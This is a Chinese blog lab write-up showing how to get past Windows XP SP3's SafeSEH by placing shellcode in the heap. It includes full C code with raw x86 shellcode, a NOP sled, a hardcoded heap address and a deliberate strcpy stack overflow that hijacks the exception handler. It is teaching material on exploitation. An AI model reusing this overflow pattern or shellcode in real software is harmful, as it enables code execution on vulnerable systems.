SafeSEH Exploit——从堆中“借道”

最新推荐文章于 2020-08-27 19:13:57 发布

Umiade

最新推荐文章于 2020-08-27 19:13:57 发布

阅读量280

点赞数

分类专栏：二进制漏洞 Overflow.SafeSEH 文章标签： SafeSEH exploit heap

本文链接：https://blog.csdn.net/qq_19550513/article/details/64438338

版权

二进制漏洞同时被 2 个专栏收录

7 篇文章 0 订阅

订阅专栏

Overflow.SafeSEH

3 篇文章 0 订阅

订阅专栏

实验内容和代码均修改自《0day安全》第二版

实验环境

操作系统： Windows XP SP3 DEP关闭
编译器： Visual Studio 2008
编译选项： 禁用优化 (/0d)
build版本： release版本

关于 SafeSEH的原理介绍详见我另一篇整理的文章 http://blog.csdn.net/qq_19550513/article/details/64438170

实验原理

在早期的SafeSEH机制中（这里使用Windows XP SP3），S.E.H 的安全校验有一个严重的缺陷——如果 S.E.H 中的异常函数指针指向堆区，即使安全校验发现了该 SEH 已经不可信，也仍然会调用这个已经被修改过的异常处理函数。实验的思路就是将shellcode布置到堆区，通过栈溢出淹没异常处理函数指针，跳转到shellcode处执行。

实验代码

首先在堆中开辟空间，用以存放 shellcode 。
在test函数中存在溢出，复制的字符串长度超过了缓冲区大小，进而覆盖了 SEH 信息。
通过溢出，SEH 信息中的异常处理指针被覆盖为堆中 shellcode 的起始地址，最后制造了一个除零异常，劫持进程进入已经被修改的异常处理函数 shellcode 中执行。

具体代码如下：

#include <stdafx.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x64\x65\x52\x63\x68\x55\x6D\x69\x61\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA8\x29\x39\x00"//address of shellcode in heap

;


void test(char * input)
{

    char str[200];
    strcpy(str,input);  
    int zero=0;
    zero=1/zero;
}

void main()
{
    char * buf=(char *)malloc(500);
    //__asm int 3
    strcpy(buf,shellcode);
    test(shellcode);    
}

调试过程

调试时可以将上面的shellcode改为连续的\x90，以便观察缓冲区的内容情况。

用OD打开编译完成的文件，通过 __asm int 3 中断在 main 函数堆空间申请处；
也可以手动进入main函数，VC 编译的 PE 在 main函数调用之前一般都会有三个 MOV 指令和三个
PUSH 指令（env, argv, argc），并且main函数的地址较为规整，如下图：
这里写图片描述
（注：OD 直接打开和调试attach得到的地址有可能会不同，OD直接打开会以调试状态执行，最后的 shellcode 执行情况只能在 OD 调试中才能观察到）